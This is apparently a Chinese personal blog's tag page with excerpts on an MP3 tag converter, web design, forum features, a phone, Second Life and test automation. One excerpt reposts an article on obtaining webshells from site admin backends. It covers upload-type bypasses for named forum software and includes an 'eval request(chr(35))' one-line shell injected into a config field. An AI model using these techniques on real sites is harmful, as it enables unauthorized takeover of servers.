BMTD 's Yard of Fun

    Technology, Sports, Music, Chinese Essays

    Browsing Posts tagged IT

    MP3 ID3 tag自动转码工具 老版本ID3 tag的标准本来只支持ISO-8859-1,也就是只能用西方拉丁字母。新的ID3 tag还支持Utf-16, 所以中文啊越南文之类的都能支持了。 问题是许多网上的mp3歌曲id3 tag编码很不规范。。。拿我来说吧,我有7000多首中文mp3。。。而这些中文歌曲的Id3编码是五花八门: Gb2312/big5/big5hkjcs 甚至utf-8都有,还有很多根本没有tag而是把作者和歌名都放在文件名上。 这样听歌的时候就比较头痛了--在播放器里不知道现在听的是什么歌, 哪个歌手、专辑等。浏览、搜索歌曲也很不方便。在windows还好点,因为许多windows上的jukebox支持GBK编码能看不少繁体字,但到了苹果的OSX上就无法忍受了:OSX只支持unicode, itunes严格只支持ISO-8859-1和UTF-16. 查了一下网上,有些工具但没法满足我的要求:或者只能一次转几个文件--我几千个文件在几百个目录里怎么搞啊,或者一次只支持一种编码的转换--这有个问题:比如用gb2312来转,会把用big5/utf-8码的文件tag弄坏了。 所以只好自己动手写个小utility了。。。 这是个简单python script, 基于一位在英国的澳洲华人写的开源pytagger library (http://www.liquidx.net/pytagger/) , 以及他的tagencoder程序。 pytagger被我稍微改动了一下增强robustness. 下载: 点击下载 用法: –下载后把文件后缀改为 .tar.gz (或.tgz) --系统需求:需要在机器上有python. unix/linux一般都有,windows自己去python.org下载安装就行了。 在命令行敲: python ConvertMp3.py < 目录名> -- 自动 将该目录下以及所有子目录下所有.mp3 和.mp2文件的ID3 tag转换成 UTF-16. – 如果id3 tag的"title"/"artist"空白, 自动根据文件名和路径填上。 可能的enhancement: 自动根据网上的音乐识别服务鉴别mp3的信息并填写tags. 注意不是指CDDB一类识别CD tracks的,而是根据声学曲线识别音乐(acoustics recognition)的musicBrainz一类服务。但是目前musicBrainz里中文歌曲信息太少所以效果估计不好。

    谈谈 web 2.0 网站页面设计的共性,以及海龟网可借鉴改进的地方。 当然,现在海龟网的最大问题还不在于界面,而是稳定性/鲁棒性、速度、性能可扩展性(scalability)等,以及一些最迫切的功能的实现。所以龟网技术力量目前的重点不在于此。 Web 2.0 界面设计共性 强调内容,强调互动的web 2.0 时代,网页设计师们不约而同采取了一些设计原则。。。通观现在典型的web 2.0网站,可以总结出web 2.0网站页面设计的共有特性如下: (1) 简单即是美。 这是一个重要原则。 页面不靠花里胡哨的图形而是靠内容吸引人。复杂的界面设计逐渐回归于简单, 让访客专注于网站内容而不是被网站的界面分散了注意力 应该让人感觉网站不错很牛B,而不是让人感觉网站的设计师很牛B。 (2) 页面布局: ----越来越多的网站采用1-2 列 (1-column or 2-column) 的设计, 决不能超过3列。 而在一两年前,3-4 column的网站还大行其道--这世界变化真快哈 --- 页面居中排版 (center aligned) 页面内容居于中间,而不是靠左、右; 页面宽度固定, 而不是占满整个浏览器。 大家想想,你觉得界面不错的网站是不是大多数这样子? --- 有足够的空白来分隔不同区域 在这之前的web design, 比较讲究”第一屏“的重要性,也就是不用滚动或翻页就能提供给用户尽量多的信息,这也是为什么许多网站在小小的地方密密麻麻地堆砌了一大堆的东西—这样的布局容易让用户觉得疲惫,眼花缭乱头晕眼花。。。 今天由于滚动轮鼠标的普及,上下滚动对于大多数用户来说已经非常方便不再是浏览的障碍,因此越来越多的网站敢于使用简单的布局而让内容从上往下走. (3) 大的字体 使用较大的字体,让浏览者的眼睛舒服。 使用比一般内容大很多的字体来显示需要突出注意的内容。 (4) 鲜艳而有强烈对比的色彩 明亮强烈的色彩是许多web 2.0网站的另一个共性。。。用对比强烈的色彩来分隔不同区域,或者突出重要的内容。 蓝色、橙色等被大量使用,但最为代表性的是一种柠檬绿--号称web 2.0的代表色。 当然颜色不能到处滥用。。。例如,背景色一般需要柔软中性的色彩。 [...]

    主要是海归网博客首页改版,并且增加了许多博客功能。 现在刚刚推出,还有许多地方需要进一步完善和优化,如速度问题等。 欢迎各位报告bug并提出意见与建议。 海龟博客的首页是: http://www.haiguinet.com/blog/ 或 http://blog.haiguinet.com 新功能、改进包括: 1. 首页上的各种统计排行– 1.1 博客文章点击数统计 1.2 最高点击量用户统计 1。3 用户发文统计 1。4 评论数统计 2。用户推荐博客功能: 增加“推荐博客”功能,用户浏览博客文章时可以点击按钮“推荐这个博客”;每周被推荐票数最高的文章在博客首页“网友推荐榜“ 3。站方预设的固定分类 预设一些固定分类,所有用户都可以把文章放到这些分类里。这些分类就是在首页下半部分显示的那些分类; 4。首页增加“博客导读”部分, 由管理员选择的精华文章在该部分显示 5。博客的用户profile与论坛统一, --也就是说论坛里设置的那些年龄性别msn地址等应该在博客里也看得见。每个人的博客首页应可以显示这些profile. — 打开每个人的博客页,显示一个头像和简单个人信息, 博客用户的图像直接采用他在论坛里的头像。没有在论坛设头像则用缺省的。 6. 用户自己的博客增加一些统计: 是否在自己的博客上显示“最新文章”, “热门文章”, “最新评论”等。 用户可以在管理后台选择是否需要显示这些东西。 -- 如果选择了,而且这个用户选择的主题支持这些功能,那么用户自己的博客首页显示这些东西。 -- 如果用户的当前主题不支持,那么忽略。 7. keywords (tags)功能 增加一个博客的tagging功能, 用户发表文章时可以指定任意关键词。 在首页“热门关键词”板块显示热门tag cloud.

    本来打算等iphone六月底出来换手机的,但是最近看的meizu M8的消息让我感到需要重新考虑我的计划了。。设计制造 m8的 魅族 (Meizu)是一家国内珠海的公司 (http://www.meizu.com/product/product.asp?gotoBt=1)), 目前主要生产各种便携mp3 player. 之前的产品M6在各种北美和欧洲的gadget网站评测比较中基本全面压倒apple的ipod nano. M8虽从外形上乍一看基本上是iphone的clone, 但内部功能其实有自己的特色,大部分spec要比iphone强一些而价格便宜: M8 (又称 MiniOne): 外形尺寸: 58*105*11.8mm 配置: CPU:ARM11 533MHZ+视频解码/编码器 video CODEC (AVI/MPEG4/WMV) 内存:内置128MB DDR SDRAM缓存 制式:GSM+EDGE(M8 ), WCDMA/HSDPA/GSM/EDGE(M8 w) 操作系统:基于WIN CE6.0内核的 WINDOWS CE FOR MEIZU M8 屏幕:3.3寸 TFT VGA+(720*480)1600万色 触摸屏 全视角 摄像头:前30W+后300W像素(自动对焦,无闪光灯) 电池:1500mAH 其他:WIFI,蓝牙+30PIN扩展接口(可TV OUT\\LINE OUT, 可接鼠标键盘手柄,可扩展DMB ,GPS等,) 功能:基本通讯功能、音频文件播放、视频文件播放(720*480 30桢/S H263/264 MPEG2 MPEG4 WMV等主流视频格式,包括rm,rmvb)、30桢/S的视频录制、WIFI无线上网、DMB数字电视/GPS导航(需要硬件扩展及下载地图支持),光控(根据光线强弱自动调节屏幕亮度),方向及加速感应器(能感应手持状态自动调节屏幕显示方向,并且可以利用加速感应器做到用手摇动即换曲功能或应用于游戏中。 [...]

    查看一个帖子时下面会列出最多10条相关的帖子. 初步推出, 相关帖子准确度还需提高–我们会继续做tuning和改进. 现在是基于对帖子标题进行中文分词基础上的全文检索. 以后等龟坛Tagging功能做好后改用帖子的关键字来匹配准确度会大得多. 欢迎大家提出意见和建议.

    今天看到一个新闻,一位金融分析师认为SL的经济模式是一种骗局,挺有意思的,在这儿抛抛砖欢迎众大侠聊聊侃侃。 在说说这个分析前先简介一下 Second life: 第二人生 (Second Life)是一个互联网上虚拟的3D世界--在这个世界中,每个人可以建立自己的一个虚拟的“第二人生”,与在这个虚拟世界中的其他人发生各种各样的关系,实现自己在现实生活中没能实现的梦。 与一般MMORPG不同的是这个世界里几乎所有的东西都是它的居民(也就是游戏参与者)自己创造的,包括房屋,商店,银行,报纸。。。任何你能想象得到得东西。这些东西的所有权属于它的创造者而不属于游戏商…SL的成员之间可用虚拟货币进行交易并可以second life 用美元与虚拟货币进行兑换。也就是说你可以用美元兑换成虚拟货币在SL里投资,在second life里的虚拟business里赚了钱也可以cash out变成真正的钱的。 自2003年开张以来,SL迅速扩张,现拥有超过两百万的居民, 虚拟的经济规模GDP达到2.2亿美元,同时产生了一批在现实中通过cash out在SL赚钱维生甚至致富的玩家(例如著名second life房地产大亨Anshe Chung)。最近一段时间seond life名气越来越大,例如获VC投资,吸引多家大公司进驻(在虚拟世界中做广告,培训, 建立汽车城,甚至发行信用卡等等). 最新的新闻是前几天AOL宣布将在second life里开名为AOL pointe的虚拟商店; Second life 宣布将open source其客户端软件等。。。风头甚劲 回到正题,说说seocnd life的经济模式--这是一个纯粹自由的资本主义经济,没有任何干预和监管。不断有人质疑这种模式的可行性。 例如,去年就有关于Second life里的最大银行Ginko Financial的大争论--至去年10月Ginko Financial号称拥有6000万虚拟货币的存款(相当于20几万美刀), 超过一万的存款帐户,每个帐户年利息收益达44%。许多人认为这是一个典型的 Ponzi 模式(http://en.wikipedia.org/wiki/Ponzi_scheme)--又称金字塔模型(Pyramid scheme),也就是说先来的客户的利息是依靠新加入的客户的存款来支付的。。。银行没有投资收入。。。这样的话结果银行一定会崩溃而后来的客户会血本无归。因为second life是一个完全没有对business监管的社会,公司的操作也不透明,自然而然引发这样的怀疑。 一位金融师在深入second life分析(链接)后,得出的结论是: • One cannot profit at greater than the risk-free rate of return for investments into Second [...]

    如果对code (SQL/php etc) injection, file inclusion, cross site scripting 不熟悉可google相关文章。 防止这类漏洞的最重要一点在于对用户输入作过滤。例如,对于防止xss可参照归坛的function.php里的removexss() 函数。 关于这类漏洞的危害,这里有篇文章是关于对一些常见网站加入木马shell的,有兴趣可一读. 转篇华夏的从后台拿到webshell(转自 donews: http://blog.donews.com/swap/archive/2006/05/31/895681.aspx ) 前 言 动网上传漏洞,相信大家拿下不少肉鸡吧。可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然天下,现在这种漏洞已经基本比较难见到了,不排除一些小网站仍然存在此漏洞。在拿站过程中,我们经常费了九牛两虎之力拿到管理员帐号和密码,并顺利进入了后台,虽然此时与拿到网站webshell还有一步之遥,但还是有许多新手因想不出合适的方法而被拒之门外。因此,我们把常用的从后台得到webshell的方法进行了总结和归纳,大体情况有以下十大方面。 注意:如何进入后台,不是本文讨论范围,其具体方法就不说了,靠大家去自己发挥。此文参考了前人的多方面的资料和信息,在此一并表示感谢。 一、直接上传获得webshell 这种对php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,直接在心情图标管理上传.php类型,虽然没有提示,其实已经成功了,上传的文件url应该是http://forums/images/smiles/下,前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网 5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。 二、添加修改上传类型 现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型, bbsxp后台可以添加asa|asP类型,ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell 了,还有一种情况是过滤了.asp,可以添加.aspasp的文件类型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。 LeadBbs3.14后台获得webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格! 三、利用后台管理功能写入webshell 上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有 leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\网站incIncHtmBoardLink.asp就是我们想要的shell。 四、利用后台管理向配置文件写webshell 利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有很多php程序都可以,COCOON Counter统计程序举例,在管理邮箱处添上cnhacker at 263 dot net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker at 263 dot net":eval request(chr(35))//",还有一种方法就是写上 cnhacker at 263 dot net"%><%eval [...]

    每次运行之前需要在数据库里populate需要的测试数据,这个可以用SQL ant task自动在test case里实现--相关test case第一步就是作数据初始化。 步骤: (1) 建议先写好SQL script,把这些sql文件放在单独的SQL目录里。(optional) (2) 把 mysql jdbc driver 文件 “mysql-connector-java-5.0.4-bin.jar”拷贝到 webtest的lib目录下,并且加入到java classpath (或者 webtest.sh /webtest.bat 的calsspath里) 哪里找文件 mysql-connector-java-5.0.4-bin.jar呢? --先从这里下载mysql-connector-java-5.0.4.zip : http://dev.mysql.com/get/Downloads/Connector-J/mysql-connector-java-5.0.4.zip/from/http://mirror.services.wisc.edu/mysql/ ,解压后你会看到mysql-connector-java-5.0.4-bin.jar. (3)写SQL task: 一个简单的SQL ant task是这样的: <sql driver="com.mysql.jdbc.Driver" url="jdbc:mysql://host:port/database" userid="sa" password="pass" src="data.sql" /> 意思是链接到位于 host:port的mysql数据库里的"database" schema, 用sa/pass登陆,然后运行 "data.sql"文件。 或者这样直接写sql语句: <sql driver="com.mysql.jdbc.Driver" url="jdbc:mysql://host:port/database" userid="sa" password="pass" ><![CDATA[ update some_table set [...]

    这是我们实现Agile development重要的一环. (0) 安装 – download jave runtime (JRE) – download webtest: http://webtest.canoo.com/webtest/build.zip, 解压到本地目录 <WEBTEST_HOME> (例如, C:\webtest) – Add <WEBTEST_HOME>\bin to your PATH (控制面板–>系统–>高级–>环境变量) –cd <WEB_HOME>\doc\samples 运行: webtest -buildfile installTest.xml 一般来说,运行test cases用这样的语法: webtest -buildfile <testcasefile> 例如, webtest -buildfile mytest.xml (1)test cases目录结构 建立一个目录叫testcases,testcases放到该目录下面 testcases includes: 包含文件 properties: 存储一些与环境相关或常变化的测试数据 modules:小的可重用的测试模块 UseCases : 对应于use cases的test cases TestResults: 存放测试结果和报告. [...]

    趁开始忙之前集中灌几天水,东拉西扯想到哪说到哪 论坛里的生态角色 (纯粹一边喝白水一边瞎想出来的,请勿对号入座) 网上论坛虽然是虚拟社区,也是一个小社会,也有人间百态,每个人在里面轮番扮演不同的角色。 一篇帖子发出去,有叫好的,有拍砖的,有扯到其他话题上去的,当然还有只看贴不发言的沉默的大多数。 这帖子也是分原创和转贴。原创的作者这里通称写手或者大虾。 写手是论坛兴旺的根本--一个论坛要有一定数量的高质量原创写手才会吸引人来,这一点估计没有人反对。可是从长久来说,不能把希望寄托在个别大虾身上,不然大虾一走立马玩完。 注意我这里说的是“个别”而不是说写手这一群体: 在免费论坛上业余玩票性质的写作方式无法保证哪一个大虾哪天突然不来了--可能生活发生了变化,可能兴趣转移,可能热情的起伏,可能…you never know. 网络不是生活的全部,尤其在网络上写作不能带来任何经济效益的情况下。另外高手到一定水平,发表到传统平面媒体很可能带来更多的满足感和回报, 虽然这个情况正在逐渐改变。 需要一个不断壮大的写手群体。要保证这点,需要论坛有一个良性互动的气氛,有自己吸引人的论坛文化。做到这点需要靠论坛的设计、制度和管理员、斑竹的引导。不过这个是说起来容易做得好难。 论坛程序方面,速度要快,人性化设计,尽可能让用户参与管理, web 2.0 … 跟贴中捧场的和拍砖的同样很重要。前者让主贴作者得到鼓励,后者往往能展开讨论。写帖子的不怕拍砖,就怕没人回帖没有交流,发个帖子就像肉包子打狗有去无回。流行的的各种“看贴不回贴”搞笑图片就说明了这点。 除了上面的这些,一个论坛里一般还有这几类人: --把bbs当chatroom版聊的(树形版面较适于此,即所谓“搭楼梯”) --转贴专家 --到处找人战斗的斗士 --斑竹、管理员 --问题求助的 --回答问题的 --纯灌水的 --沉默的大多数 当然每个人来说这些角色一般都不是固定的,大多数人有时这样有时那样,但确实有不少人在大多数时间扮演其中某一两个固定的角色。 斗士中的理性辩论者是论坛繁荣所需要的;另一类满嘴喷粪以骂人为乐的则是论坛的大敌,一经发现坛方必须马上喀嚓--这种人人数即使很少但破坏力非常巨大,不加控制论坛会变成粪坑。当年文学成的一些论坛就是被这样毁掉的。 关于帖子点击率: 哥们经常是费了老鼻子劲好不容易折腾出个原创帖子发出去,可是反响却令人失望--点击数不多,回帖寥寥, 上论坛的热情一下子受到了打击。 看看热门的帖子,首先得是大家感兴趣得话题– 男女关系是永远得热点, 在归坛上则还要加上海归经验,到底归不归,offer如何, 办公室政治策略等。帖子的标题也要好,即使不搞不惊人誓不休也得吸引人。当然内容质量是关键,不然哗众取宠次数多了你的信用就打了折扣,再牛的标题也没人进来。 文章的长度要适中,太长大家没时间看敬而远之,太短很难有什么料。 关于国外的论坛的印象 除了极少数的,我个人很少去固定的国外论坛,通常都是去找答案的技术型论坛;比如碰到什么技术问题去google一下,答案往往在相关的support论坛里。又比如我想买HIFI功放,我会去avs之类的论坛去做research,看别人对各种brand/model的反馈。这些论坛大都是一些Q&A性质的,有人问问题,有人解答。而一般这类论坛都会有一些大牛解答大多数newbie的问题。 象中文论坛这样百花齐放内容包罗万象的综合型论坛似乎不多,大都只限于某个专业或方向。 我固定常去的论坛只有slashdot;几年以前还常去salon.com,现在已经没时间了。Slashdot不是严格意义上的论坛,而是一个blog/news/forum的混合体。用户提交帖子,管理员决定是否接受发布出来。虽然我去主要是关注技术新闻和走势,但从每天上千的帖子里还是可以看出美国人(至少是那帮自称为geek/nerds的家伙)的想法: 这是一帮“左派”–凡是有关知识产权/DRM/RIAA/MPAA的帖子就会立马被贴上来然后对好莱坞痛批,凡是linux/free software/open source的事情都被贴上来讨论个没完。。。 在我感兴趣的关于中国的话题上,帖子们更是一个定式: -- wired 或 cnet news.com报道了有关中国的消息,例如中国防火墙,google屏蔽搜索,政府要求网吧使用者用身份证等等 -- 立马有人贴到slashdot -- 如果是关于internet, [...]